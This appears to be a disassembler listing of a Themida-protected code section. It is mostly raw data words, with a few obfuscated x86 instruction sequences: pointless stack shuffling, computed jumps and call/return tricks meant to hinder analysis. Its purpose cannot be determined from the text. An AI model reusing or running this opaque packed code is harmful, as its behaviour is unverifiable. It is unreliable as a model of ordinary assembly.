dd 1953216Dh, 9DA6FBC6h, 34D0AFA6h, 7Ah, 205D9D10h, 30ED6AE9h
dd 90E7E217h, 1C990845h, 0EF79C609h, 0D6EF1AB9h, 88569A8Bh
dd 900E74Eh, 55207BB8h, 0AF8237FCh, 4C8AD0h, 9D660000h
dd 6CE9205Dh, 0EF79C558h, 0A188BF0Ah, 32EF6C6Fh, 92EFE1D6h
dd 48C5FC47h, 0EFE1D68Bh, 3A63A0EBh, 28832AD3h, 0C1414FF5h
dd 916A3884h, 13B24D74h, 902FCAFDh, 65B04B7Ah, 6BDEA9CCh
dd 0F44D186Bh, 0D0AF524Fh, 0D82h, 0E9D75E00h, 19E7E220h
dd 0FFFF02D6h, 5D9DB2FFh, 826CE920h, 0DCEF79C5h, 4787F691h
dd 0D754D30Ah, 0EFE1D51Ah, 83F22F7Ah, 79824D06h, 235AA5F7h
dd 0D1C6677Ah, 0EE2BDDF1h, 2F6CAC1Bh
dd 0E28D7BF8h, 50EFFF78h, 88BF0ABBh, 0D35A69A1h, 0A8DF1C5Ch
dd 0F1EFAC29h, 44FFFE0h, 1DDB58C7h, 6107789Fh, 9A35807Ah
dd 76C1124Fh, 13A2583Fh, 4A814F8Ch, 6C9D8FBFh, 5D2FEC69h
dd 0F309A007h, 0C5DE29C4h, 4108197Ah, 4922D96Ch, 39D077FEh
dd 3E7EED88h, 0CC4BCA01h, 7D2924Fh, 0B653F2A0h, 1A87C40Fh
dd 0A7A1EA2Ch, 9A8438Eh, 2B9A70F3h, 50A645E0h, 1B36C25Dh
dd 617CD950h, 873ECF96h, 14A35900h, 9322DA79h, 0BE3D6CF8h
dd 1FC8441h, 5C99E4A8h, 9D6F3601h, 0EFCA32Ah, 0FEE51CB7h
dd 8120BB02h, 0B3F03B8Ah, 94F70B67h, 0C7FE0CC9h, 2CD54440h
dd 6B66EC0Ah, 0F79EDB50h, 984178B1h, 0B1C1EB57h, 3B0E4B6Dh
dd 0B9546D9Ch, 0AF46112Ch, 12F93069h, 0CD8CC9FCh, 0EDDED726h
dd 5AB5DCA9h, 7E37C68Fh, 1AAB6047h, 6895347Fh, 2E6BB651h
dd 0AF06F6C5h, 8A22DF14h, 233EE7E2h, 3F4CF558h, 0F314D9F6h
dd 3F4DCF00h, 11B73DDEh, 0B60DFDD4h, 0C683007Fh, 26E7E24Dh
dd 0A0DF9EDBh, 0D57047B9h, 4E64219Eh, 79C4E7E2h, 4BEBCD2Eh
dd 0A5E46307h, 4C7B9168h, 0B7346C15h, 0F451BA10h, 0F5AFE4B7h
dd 32E7E2B8h, 0C339FCC7h, 852E6DF4h, 30CC5E0h, 0C936737Ch
dd 0E7E2B447h, 0B4591693h, 6EB9E7E2h, 0F505EC23h, 9BD823BEh
dd 50A40C30h, 0FF40BDD7h, 6D99FFFFh, 0F79E259Ch, 844B9906h
dd 0A17641AFh, 71D28678h, 6FBA2A40h, 8BF5138h, 3AD3A2CBh
dd 35CB9A8Bh, 0B048E782h, 26A4D2EBh, 438EDD38h, 0C0F709A8h
dd 324DDA25h, 0ECE6DC67h, 29B8D542h, 582346DEh, 14457C8Dh
dd 507882B1h, 483FD7h, 9D1B0000h, 6CE9205Dh, 0EF79C3B3h
dd 68CFC00Bh, 0D6581ABFh, 0CA078107h, 0A8DFB17Eh, 3F7C4BC1h
dd 45C419E4h, 801BA25Eh, 0E4430035h, 955BEFE1h, 407C8581h
dd 0ED2A758Eh, 92C90646h, 79395C15h, 3869B4F7h, 4CC5h
dd 5D9DA100h, 0EE8930CCh, 0A42158A3h, 0EF79C3EBh, 0C307F843h
dd 80E11AF3h, 56F13C85h, 0D8734AB7h, 45B47FDAh, 3BCA95C0h
dd 0A87BEF3h, 0F7798351h, 5F56A48Bh, 0EB3C79C4h, 89086FA0h
dd 0E1954F0Ch, 2D64AFF7h, 0E194F3B0h, 0CB0853F7h, 259C6D9Fh
dd 0A312EB8Ah, 2865A51Ch, 316E74F1h, 95E0EF7Ch, 410CC5FAh
dd 2E99EFDCh, 0EB230A63h, 0F349FDCh, 0C2D0AA13h, 20h, 205D9D9Eh
dd 1F3A6CE9h, 59A4EF7Ch, 2ED089BEh, 0F25DEFDCh, 2579CA27h
dd 1358D0AAh, 34000001h, 0EE259C6Dh, 84C1F407h, 78937AB1h
dd 0EE51B24Dh, 0B2BF0AB9h, 0E62384CFh, 0A3D4427Ch, 0EB16ED2Ah
dd 619837D2h, 0FF7EB550h, 0BB460380h, 5BA6E7E2h, 0E2BB6926h
dd 1592C9E7h, 0E7E2BB58h, 0E5226DB8h, 9A72FF0Eh, 0FA45902Bh
dd 0C0363673h, 382E7E2h, 0E2BFC986h, 0A1DE29E7h, 0FB8233CAh
dd 710CA554h, 4E85BA02h, 7CD397D1h, 11BAF1EFh, 0E2BEC35Ah
dd 22DF14E6h, 82EFDC2Fh, 0CEB5EC37h, 9FEA8538h, 0EC2CA362h
dd 7CF978AFh, 0EFDC2EBFh, 209DD41Fh, 0EFDC2F63h, 0CC3B78C3h
dd 70920F4Fh, 0F72E79F7h, 123EFB78h, 539EF7D9h, 45C0A716h
dd 0A25E457Ch, 0F835801Bh, 2851FA39h, 467F8E10h, 8B61B9E5h
dd 338A774Eh, 16AD5CF5h, 0BAFDC82Fh, 194h, 0E36A43B4h
dd 6EF5CC3Ch, 0FD843BC7h, 860DA056h, 149B22DFh, 1CE9697Ah
dd 84771EA5h, 903AA31h, 799037BEh, 1B8AC148h, 0E1EAE19Eh
dd 0D40841EFh, 0A229906Dh, 2CB302FBh, 9E0C44EDh, 0C6FB44E8h
dd 5D9D5D89h, 3A6CE920h, 0A4EF7C1Fh, 288DC043h, 12B75A7Dh
dd 63DB7E93h, 0A07FE02Bh, 3FBDC056h, 3267024Dh, 0EFDCD679h
dd 6C07BE4Bh, 0EB863DCDh, 0F5642F52h, 86DBA611h, 0D0AA82BDh
dd 0CD14h, 3C04AD00h, 0F2DD3859h, 685DAE4Dh, 194582CDh
dd 39D19C6Dh, 89083F8Ah, 0E2174F0Ch, 571491E7h, 0B7E7E217h
dd 0FCF2536Ch, 63B85C28h, 2F023F8Ah, 0B14C7590h, 0E28D7C7Ch
dd 18A960E7h, 0A213EA91h, 0A7B5C26Bh, 0BF834133h, 0F840AF82h
dd 640D8CC3h, 7381DDB7h, 0E3508D44h, 0EF7C9FA9h, 9A81B803h
dd 57165362h, 2C6398E0h, 70EECAAFh, 0F82F7AF7h, 64E1F411h
dd 0F7D980A7h, 0EA71BC07h, 8138C4ABh, 29906D44h, 17AA44EBh
dd 0A6E9B42Fh, 84h, 0F37A33C4h, 7E05BC4Ch, 0D942BD7h, 961D9066h
dd 24AB12EFh, 0CF9998Ah, 74872EB5h, 0F913BA41h, 69A047CEh
dd 2B9AD158h, 0E1EBF1AEh, 0E41851EFh, 0AA13EED5h, 526B966Dh
dd 0DCD524CBh, 0EED55955h, 0C20DA81Dh, 665FAE85h, 0E4DD2CCBh
dd 6E47B65Dh, 0F8C940E7h, 0CE3F265Dh, 0D64DBAF7h, 0BA2666AEh
dd 0F811D49Fh, 0E22D8475h, 6C45B45Bh, 0E9DC32D1h, 0BD6F14Eh
dd 7B02B34Ah, 0F18C25D4h, 3AEh, 0B6DA8A00h, 88239A6Dh
dd 6A110E9h, 87229567h, 7A213E8h, 89249D68h, 0BA61FEAh
dd 88239A6Ch, 0BA61DE9h, 8A259C6Ch, 0E18951FAh, 4C181h
dd 0E9830000h, 74FF5104h, 8F590424h
; ---------------------------------------------------------------------------
add al, 24h
pop esp
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esi
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], ecx
push 7FFC0D7h
mov esi, [esp]
add esp, 4
push esp
mov ecx, [esp]
add esp, 4
push 3464h
mov [esp], esi
pop dword ptr [ecx+8]
push dword ptr [esp]
pop ecx
add esp, 4
mov esi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_59895C
; ---------------------------------------------------------------------------
db 0E9h, 0A0h, 93h
dd 559CBD83h, 0B97EE1A7h
db 0B7h, 4Fh, 15h
; ---------------------------------------------------------------------------
loc_5E0AD3: ; CODE XREF: Themida_:loc_5DF47Dj
mov eax, 7FFD600h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 7DF06D8Bh, 79DCE61Ch, 431B5B8h, 8E786E7h, 7A4DBD33h
dd 4427E416h, 1F018A3h, 586D6123h, 9F76AA8h, 631D9FAEh
dd 9AFF477h, 2691FCC2h, 25840B34h, 1BB25D08h, 0A829ACBh
dd 1FADE65Ch, 43984D80h, 7C832891h, 4E3B0E42h, 83ACF70h
dd 7A928801h, 7DE1168Ah, 3BA5F364h, 44ADC722h, 282C8ED1h
dd 23651915h, 38FB4911h, 6D969F53h, 12FD1745h, 795535DDh
dd 0D80F8D8Dh, 6A07FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1C0424h, 53430000h, 0CB1448C3h, 0A41F1EE8h, 3350C478h
dd 0FA31A585h, 8D895F07h, 7FA1CD9h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 17h, 62C35747h, 0E91A610Dh, 0Fh
dd 51354D7Fh, 9496BC94h, 0F64BD5Bh, 0C7F72340h, 0FA31AD85h
dd 750807h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1A04h, 0C3564600h, 22EDEFCDh, 0C7DD0EC0h, 0FA2BD985h
dd 7, 8E0F00h, 0FF000000h, 0FA16F1B5h, 7DBD2307h, 0E907FA0Eh
dd 0Ch, 19CE9EEBh, 0D385EE61h, 0F72D1C8Eh, 179995FFh, 6A07FAh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 30190FC3h, 0B2D70B17h, 89089CFAh, 0FA0211B5h, 0FF006A07h
dd 0FA101995h, 0EBC08B07h, 7565C40Bh, 7FD26EE2h, 0CFDBDF15h
dd 0D9048D8Dh, 6A07FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 150424h, 51410000h, 8B6899C3h, 0D98D89F2h, 6A07FA1Ch
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h
dd 42000000h, 0F0EC352h, 0F681C6BFh, 6E5967EDh, 31AD85C7h
dd 643407FAh, 13E90000h, 69000000h, 0C25789B0h, 0A439FC54h
dd 0A352A0A2h, 0DD6E473Fh, 85C7A9C5h, 7FA2BD9h, 0
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5E0CE7
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5E0CE7 proc near ; CODE XREF: Themida_:005E0CDFp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_5E0CE7 endp
; ---------------------------------------------------------------------------
align 4
dd 0EE8h, 0EB684700h, 88D5BCA9h, 15606CD5h, 5612825Ah
dd 0CE9h, 7F6D2500h, 59ED8446h, 5D5DA15Fh, 665F5AE1h, 270DCE81h
dd 167DB5FFh, 0F5607FAh, 80h, 95FF5A00h, 7FA1799h, 0B818D31h
dd 6A07FAh, 101995FFh, 0C08B07FAh, 0F3E0EEBh, 4DCBD7FAh
dd 203DB149h, 77EE0355h, 0D9B48D8Dh, 816607FFh, 89FCB4C0h
dd 0FA1CD98Dh, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1704h, 0C3554500h, 0D5EFE5DFh, 85C725B6h
dd 7FA31ADh, 6B38h, 2BD985C7h, 7FAh, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 150424h, 51410000h, 507B8DC3h
dd 9F03BA66h, 6E95Eh, 0E7960000h, 6B748A71h, 2515B5FFh
dd 950107FAh, 7FA29B5h, 8016BB66h, 179995FFh, 830F07FAh
dd 6, 67D958Bh, 6A07FAh, 101995FFh, 0C08B07FAh, 7C8B08EBh
dd 931AEDD7h, 0C08BDA3Dh, 0AE957h, 652A0000h, 4F930C5Bh
dd 0D54F7791h, 0CDBD835Bh, 7FA2Ah, 0BD830975h, 7FA1899h
dd 50197400h, 0B8C08B53h, 3FCh, 20C98589h, 9D8D07FAh, 7FCE224h
dd 585BD3FFh, 1899BD83h, 740007FAh, 0B8535017h, 3FCh, 20C98589h
dd 9D8D07FAh, 7FCDF13h, 585BD3FFh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 16h, 81C35747h, 0BA665AF6h, 8E0FAE40h
dd 19h, 138F0Fh, 0DE80000h, 0D6000000h, 98B75CB0h, 0F5872D2Ch
dd 5529ADDh, 8BC08B5Ah, 0EDBD83D0h, 107FA33h, 73840Fh
dd 0BF0F0000h, 89EA81DFh, 8310DFFCh, 0FA18F9BDh, 850F0007h
dd 5Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh
dd 0EEC35343h, 5C3B8141h, 70144F50h, 35BD8363h, 7FA31h
dd 9F840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 190424h, 56460000h, 0E21DFFC3h, 0E97AC146h, 5, 0D8131D36h
dd 3DFE930h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1C0424h, 57470000h, 15BF23C3h, 0D731629Fh, 0AF48h, 0AE90000h
dd 0A2000000h, 39F9C137h, 0E7143FFh, 57006A7Ch, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0B9660666h
dd 0AB5D4F0Fh, 7ABB3627h, 0E95EC1E6h, 9, 0FE5D886Dh, 1E5A79D3h
dd 4942E6D9h, 0C5F04A6Bh, 0AC1F88B0h, 8FF76DB0h, 26AD75EAh
dd 2EF37FE4h, 0B4F389F4h, 0EDF7D6B0h, 0BCD9A8E2h, 0FD22FB13h
dd 2A7A0236h, 0A80A1052h, 47A1B6DAh, 0AFF75BB3h, 0F134F390h
dd 0ABD3A239h, 0ABD32F31h, 0AFF7B5A9h, 0E9348CF6h, 9BAC80AEh
dd 8674B993h, 47F75BB0h, 0AFF7ADBEh, 0C36869FDh, 0E09B41C2h
dd 96793340h, 0A01FD846h, 80F76DB0h, 972FBDFAh, 2FBCF0F1h
dd 0FA9AE646h, 0F4AD8C1Eh, 727DBB4Fh, 0AFF31859h, 145BB0h
dd 0FAFF442Dh, 0AFF7B658h, 427606B0h, 0A808765Ch, 47A2D6DAh
dd 0AFF76BB3h, 0F234E890h, 0ABD3B639h, 0ABD32931h, 0AFF7B6A9h
dd 75340EF5h, 0CBE4C403h, 2B4C85A5h, 0F5D7458Ah, 47A6B5DAh
dd 0AFF7DAB3h, 0F6343490h, 0ABD3FA39h, 0ABD31F31h, 0AFF7ADA9h
dd 23487F1h, 4D820E74h, 6576D3DEh, 6F7CBDC5h, 0AFF76359h
dd 0D26171B0h, 321FFBA8h, 27DE2346h, 0FFCCB449h, 0AFF77A59h
dd 1ED90EB0h, 80C8624h, 5F954187h, 68082BA3h, 0AB7E1C2Ch
dd 0FDF7C794h, 0AFF7D558h, 6CAD4BB0h, 8BA33CEAh, 8BB35BB4h
dd 0AFF775B4h, 6CA5F4B0h, 9360DF90h, 3C2C2DE8h, 8BBBD7BFh
dd 0AA7D644Eh, 0C9F7B5B0h, 0FF6A3131h, 534C0BE8h, 0ADFBB326h
dd 0A31F5BB0h, 0DCF7ADB0h, 0BC5B0B4Fh, 0F116EC69h, 140F2BFDh
dd 0CCB0E2F4h, 0A458D6EAh, 0A77CCAA0h, 5C4054D0h, 4DF9A70Ah
dd 4576B7E1h, 0B2F9B800h, 53BF3ED6h, 7EE53831h, 0AE4F465Ah
dd 0C9F7B6B0h, 0C966823Bh, 0FF269A0Bh, 728ABF0Ah, 7977FAB5h
dd 767BD315h, 47A2DADAh, 0AFF76DB3h, 0F234EB90h, 0ABD33739h
dd 0ABD3E931h, 0AFF7D6A9h, 3A343EF5h, 8F322F1Eh, 0AFE533FDh
dd 0BE8B6DB0h, 6817B3E4h, 0D0F83227h, 50FCD238h, 0BB85C8D5h
dd 0AFF77A59h, 110487B0h, 83B03782h, 8E38E862h, 0B1011B53h
dd 6E01AE6Dh, 6372A2B4h, 0C9F7D6B0h, 0A0AEBA3Bh, 0AFF7B033h
dd 1A5E61B0h, 967774ECh, 8772B9D8h, 25F75BB1h, 0AA7AA24Dh
dd 0C9F7D6B0h, 88038031h, 0C5F6CC3Bh, 0AC1F8CB0h, 8FF76DB0h
dd 26A975EEh, 2EF37FC4h, 0B9F389F4h, 0E9F7D6B0h, 64B6A8E6h
dd 0AF0834B7h, 0A077DAB0h, 0AFF78332h, 0AFFD5FB0h, 0F8F25BB0h
dd 408FB89Eh, 30F20B9Eh, 74FAEE77h, 0AFF6B24Fh, 0AF9DDAB0h
dd 0AFF485E0h, 0F7D7B6B0h, 0EB7E0373h, 0EB76A994h, 0AFE1D294h
dd 0FFB76BB0h, 0E3404573h, 0AFF7D358h, 0B39840B0h, 68F5598Ch
dd 0C9977259h, 0F5965C3Bh, 0AFF70659h, 7D760DB0h, 3B1EDBE3h
dd 0C5F7DAB0h, 0AC1F3DB0h, 8FF7B6B0h, 26AF98E8h, 2EF389F4h
dd 0B9F3F2F4h, 0EFF76BB0h, 965376E0h, 0F60F500Ch, 2C9136E1h
dd 0A008BDC9h, 0AFF73D34h, 0FEF7C7B0h, 0AFF7D558h, 6CAE4BB0h
dd 8BBB3CE9h, 8BB35BB4h, 0AFF774B4h, 6CA6F7B0h, 561E1A4h
dd 29F82117h, 0AFF7D6B5h, 3ACC7C0Bh, 0AD72BADBh, 1CF7DAB0h
dd 0A272AA1Ch, 0AEF0496Bh, 0C5F75BB0h, 0AC1FFBB0h, 8FF7D6B0h
dd 26A9A8EEh, 2EF391C4h, 0B4F3FEF4h, 0E9F76DB0h, 0C44C75E6h
dd 0EA7EC5DCh, 2E91F95Bh, 0E741685Bh, 47A26BDAh, 0AFF7B5B3h
dd 0F2348790h, 0ABD30139h, 0ABD3F231h, 0AFF75BACh, 5734F8F5h
dd 0BF6C4C0Ch, 7769465Dh, 0FD0004D0h, 0CEA9293Bh, 0E13DECD6h
dd 61BE0F64h, 2A7A0DA7h, 0A8084D6Ch, 71136B3Dh, 57CC6C4Fh
dd 0A0C7B2C4h, 44B01361h, 0AFF98445h, 0F87AB6B0h, 55B93556h
dd 543511B0h, 4228412Dh, 0AFF76659h, 0F1AA1DB0h, 975BCA1h
dd 432B2034h, 1274B67Bh, 0A80D685Dh, 2973A2B1h, 0C5F7D6B0h
dd 0AC1F3CB0h, 8FF7B5B0h, 26A819EFh, 2EF349CCh, 0BBF392F4h
dd 0E8F75BB0h, 2EDB6EE7h, 0EED37453h, 564AE8A9h, 0AFF04FA8h
dd 0AFA05FBFh, 0AF9D6DB0h, 0AFF45EE3h, 0F4D75BB0h, 0F37EF673h
dd 0EB76D294h, 0AFE16F94h, 0FCB4B5B0h, 0CCA7DA73h, 7D760BE1h
dd 2CAD7A3Bh, 55C66E0Dh, 2BF8ADB7h, 0AFF7D69Dh, 47A56BDAh
dd 0AFF7B5B3h, 0F5348090h, 0ABD33939h, 0ABD3F231h, 0AFF75BA4h
dd 0EC34FFF2h, 0AFF457BFh, 49776BB0h, 0AF1B5CE9h, 4477DAB0h
dd 424AEEE2h, 0AEF04C83h, 0AF62DEBFh, 0AF9DADB0h, 0AFF43EE6h
dd 0F1D76BB0h, 0DB7EEB73h, 0EB76DE94h, 0AFEC6994h, 0F9B1B6B0h
dd 0E5496073h, 0A1B95744h, 0C5AA23B3h, 0AC1F3CB0h, 8FF7B5B0h
dd 26A819EFh, 2EF349CCh, 0B7F392F4h, 0E8F75BB0h, 53F16EE7h
dd 0A01E1643h, 0C534BB0Fh, 0AC1FE3B0h, 8FF7DAB0h, 26A9AEEEh
dd 2EF392C4h, 0BAF37FF4h, 0E9F7ADB0h, 60E215E6h, 4641BC30h
dd 0AFF7B5DEh, 47A1DADAh, 0AFF76DB3h, 0F134E890h, 0ABD32F39h
dd 0ABD3E931h, 0AFF7D6AAh, 4E343DF6h, 56EDA627h, 2E91DEDCh
dd 0F2B45D53h, 47A7B6DAh, 0AFF75BB3h, 0F734F590h, 0ABD39239h
dd 0ABD32F31h, 0AFF7B5A6h, 0C0348AF0h, 0D4C5AD9h, 608513F8h
dd 47A15BDAh, 0AFF7ADB3h, 0F1348890h, 0ABD31F39h, 0ABD3F131h
dd 0AFF7DAAAh, 24343BF6h, 9712E8B9h, 127ADD74h, 0A80876E8h
dd 4F5E5B3Dh, 0B24F6C4Fh, 9C8C8FECh, 55EBDB35h, 6E3846B7h
dd 61BE0F59h, 2A7A0DA7h, 0A8084D6Ch, 71136B3Dh
dd 57CC6C4Fh, 0A0C7B2C4h, 0E9831361h, 83A4F305h, 0FFDB0DBDh
dd 0D740007h, 4F668D8Dh, 1B807FAh, 0FF000000h, 6A40E1h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 81687DC3h, 2CEF99Ch, 6A91D380h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 18042444h, 40000000h, 4696C350h
dd 0F6A61BDh, 380h, 0D08B6600h, 0E883A6B7h, 56006A2Dh
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
dd 66F7426Eh, 0C08BD08Bh, 0FB8B5360h, 0BD83615Eh, 7FA2ACDh
dd 83097500h, 0FA1899BDh, 19740007h, 0C08B5350h, 3FCB8h
dd 81858900h, 8D07FA15h, 0FCE28B9Dh, 5BD3FF07h, 99BD8358h
dd 7FA18h, 53501774h, 3FCB8h, 81858900h, 8D07FA15h, 0FCDF2C9Dh
dd 5BD3FF07h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1404h, 0C3554500h, 0D2B70FE1h, 12E8h, 0E0F09900h, 0AA19B938h
dd 0CCF0F590h, 3025A0CBh, 0B7F061C3h, 8B665A3Fh, 0E8C08BD0h
dd 0Dh, 423EF097h, 25C354A7h, 0EB129031h, 3870FEBh, 0F000000h
dd 0E85FDFBFh, 14h, 68E1A926h, 0AC26B8F5h, 317D19F2h, 96F0BF58h
dd 2C8806A0h, 0F850Fh, 0AE90000h, 22000000h, 962CCB38h
dd 3FCF0304h, 0C7815ED3h, 5F54h, 0BADEBF0Fh, 0
dd 0C8BE3B7h, 0F5605017h, 5E61C38Bh, 4B49F181h, 0BE868E1h
dd 0E7000000h, 0AD866181h, 78A1C07Bh, 816686DBh, 5E0603DBh
dd 8BFFE981h, 83B87786h, 810810D0h, 0EA05D3F1h, 0C78B663Dh
dd 0F3BF0F51h, 0E917048Fh, 6, 0D2949F77h, 0F60FC7Dh, 8166D3BFh
dd 61C809EEh, 0F03EA83h, 0BB4AC3B7h, 4257D03h, 0A1A8FA81h
dd 850FFFFFh, 24h, 10E9h, 8BB7C500h, 22DF6604h, 0ED18204Ah
dd 825DC465h, 22E9ABh, 0D95D0000h, 5FE74499h, 0AFA6AFEFh
dd 0FF68E9F8h, 7CD2FFFFh, 0CA7E00ACh, 1A473B42h, 21F44785h
dd 79785F1Ah, 0BE9h, 0FD35CE00h, 809E017Dh, 7Ch, 0CC2E9h
dd 0E4406800h, 0EDE907FFh, 68FFFA9Bh, 7FFE52Ah, 0FA9BE3E9h
dd 0E66B68FFh, 0D9E907FFh, 68FFFA9Bh, 7FFE787h, 0FA9BCFE9h
dd 0E93E68FFh, 0C5E907FFh, 68FFFA9Bh, 7FFEBBFh, 0FA9BBBE9h
dd 0ED4868FFh, 0B1E907FFh, 68FFFA9Bh, 7FFEE21h, 0FA9BA7E9h
dd 7B23F3FFh, 247A9845h, 0CAD441EEh, 7628E794h, 207E9340h
dd 1A01B6EAh, 0C471A7F7h, 6B184E50h, 16C3F9A5h, 9C6BA1FDh
dd 66C52844h, 85EB07E6h, 1092BCCEh, 0D0D4534Bh, 3ED58228h
dd 9A7BD060h, 0AEB88A04h, 44DDF0FBh, 6DA60B9Eh, 0EF9AFB31h
dd 2BC5E171h, 5707E102h, 0E04773FEh, 0EA07E100h, 70A8AF69h
dd 0E406F09h, 30h, 0CA96F39Fh, 70A5FA3Ah, 0D47AA32Eh, 0E09B9260h
dd 0A7379007h, 0BE637B7Dh, 7218E1C4h, 0DB4CB3DFh, 0D55607E0h
dd 0E6DC141Bh, 0A37A406Eh, 0B000000h, 0A7326CA7h, 44CFCF42h
dd 0DF6A34DFh, 0CF05997Ah, 0E687C55Bh, 0F8A66DFFh, 0A0FE15C2h
dd 0D38DFC15h, 0CDD90343h, 7BDEFAADh, 0A9FFE6A7h, 751BD650h
dd 0B755C96Fh, 0E307E18Eh, 96F3548Ah, 0DB1E3ACAh, 90FDE30h
dd 46CB20B0h, 9C752258h, 41624402h, 84BF9998h, 0AD8E5h
dd 6F2FE700h, 18868C39h, 0BEE035E2h, 6A34DB88h, 148A8734h
dd 0EF5AADEh, 0B8659B03h, 5F0C425Ch, 0AB7EDB1h, 905F9509h
dd 67B91C38h, 81E707E6h, 346AA7CAh, 0B5C251FEh, 0E6833699h
dd 8EF10DFFh, 0B4FFE683h, 58C11A5Bh, 96F36B22h, 501E3ACAh
dd 4E07E09Ch, 88FE45E4h, 0C756821h, 60EE5581h, 77F807E1h
dd 6D7EB6BDh, 0DE1C406Fh, 0AD000000h, 0A7326CA7h, 8CA8CF42h
dd 0FFE68329h, 0A95FE57h, 0F1AD65BAh, 23973D66h, 0FFE6888Dh
dd 0A405EB5h, 58E8B65Dh, 0EC920C03h, 17494059h, 22F24787h
dd 5CC8F17Ch, 0FFE686F9h, 288BA727h, 4EFFE687h, 4EE68CF5h
dd 0E0A89432h, 0A3D93207h, 89194742h, 0DD86196Dh, 5CEC450Fh
dd 186D0A07h, 0ED16A1FDh, 0ED7E1E81h, 82EB44FFh, 0F0729F4Ch
dd 54127B23h, 99989344h, 0EEEB8AC5h, 0D1000009h, 76235945h
dd 1FCC029Ch, 0C572A8F6h, 711E544Ah, 94C8FEA0h, 8519F8DFh
dd 2C72A24Fh, 0D7C749F6h, 7F1FF4A1h, 6227A49h, 7E668A3h
dd 0BCB46BD1h, 61F1AD67h, 0E682E245h, 11B710FFh, 0BBF1AD64h
dd 999050Eh, 0B23D61B4h, 4DD8C64Dh, 0D715BB24h, 4229153Fh
dd 2CE5E96Ch, 27A1E34Dh, 2ED45680h, 326CA777h, 0CDD142A7h
dd 0D533697h, 0B6E7617Dh, 0A2FB07E0h, 0B685EB17h, 0C54D07E0h
dd 29E94ED9h, 9DCEEA75h, 55D63BE3h, 0BE5C949Bh, 7CFA406Eh
dd 8B000006h, 3ACA96F3h, 0E0A07C1Eh, 7A952A07h, 8967F24h
dd 81E8149Fh, 8B07E09Fh, 1149500Ah, 0AF406EA7h, 657h, 0CA96F340h
dd 8B001E3Ah, 459E07E0h, 22FE8BB5h, 0AC9B641h, 3EA5D164h
dd 4807E0C3h, 0CE060DC7h, 6C406ECBh, 62Fh, 0BB657BFDh
dd 0E60292CEh, 7E089E4h, 94E979D2h, 69921D81h, 9C1A7EC3h
dd 3293F5B3h, 63C6E257h, 2D8BD5B2h, 0E479BAE4h, 0BEE7722Ch
dd 405CEC55h, 93CFBB7Eh, 4E50C015h, 0ABF49AC3h, 0DBAEC752h
dd 54D9F585h, 8293F5E5h, 107925EDh, 0B6E82B80h, 5E40D380h
dd 717502A0h, 2DCC0712h, 8ADh, 649A0412h, 0D435BB7h, 0B3E9B560h
dd 5F950906h, 93F5FB2h, 0DA3720D5h, 33E18EC4h, 8888356Bh
dd 0E033E016h, 61B988BEh, 0E668E245h, 0F3AA1007h, 0A7326CA7h
dd 0D565FB8Eh, 0D6395595h, 0FCFFE683h, 1289FDA3h, 0C007E666h
dd 65C12440h, 96EF07E6h, 4C83F72Dh, 0F207E665h, 910D0663h
dd 0EC80D701h, 0B5C361C3h, 1D70D10Fh, 6989B343h, 8920ACC2h
dd 0B062FA74h, 4947F5A5h, 76CB0BA3h, 0E85C029Ch, 7E6418Dh
dd 75CA5AB3h, 4A73FEA0h, 67AC11A4h, 368D0137h, 1507E641h
dd 4156B9D5h, 237C07E6h, 3740D07Dh, 36F2FE2h, 7E641A0h
dd 0CE046DC6h, 86CB0C36h, 9F874B0Eh, 0D7C74CF9h, 811DF247h
dd 9427CDF6h, 0E6700168h, 0F1ABEC07h, 6298060Dh, 0B5405EB5h
dd 0E6A02289h, 0DC96BFF7h, 4D831BF8h, 11566h, 6CA7FF00h
dd 46700321h, 73DC6D88h, 118D83E8h, 31E13686h, 13B9E26Dh
dd 0E7663C9Fh, 910D06FFh, 0C49CED06h, 49A11834h, 0D62F07E7h
dd 61699418h, 9B3A759Eh, 791h, 80B6E82Eh, 295F3FD3h, 0CF05997Ch
dd 7BB1ED22h, 255B43CEh, 0BE533CF1h, 17FDAAE0h, 6CA45187h
dd 0C44FFC32h, 7DD5A4DAh, 0E669FE61h, 7BE2407h, 0EF0B6CA7h
dd 0FFE6838Ch, 3B9250BAh, 86D532D5h, 0C429B41Dh, 6CC1514Dh
dd 1553F9A5h, 8BEC287Dh, 0E6CE0C6Fh, 78E13AFFh, 0B3EB25D2h
dd 5B43D07Dh, 5997825h, 0A2FC157Ah, 10CAFB17h, 83B9E52Ch
dd 74DA7BB3h, 71938h, 6DAA0000h, 0C5h, 326CA706h, 0FB1757A7h
dd 0FFE68398h, 4BBF65BEh, 0FFE692E4h, 0B23D61AEh, 4FDAC44Dh
dd 9380E3FFh, 4DA6FFE6h, 30D892BBh, 0AC7B355Eh, 3CE2BC57h
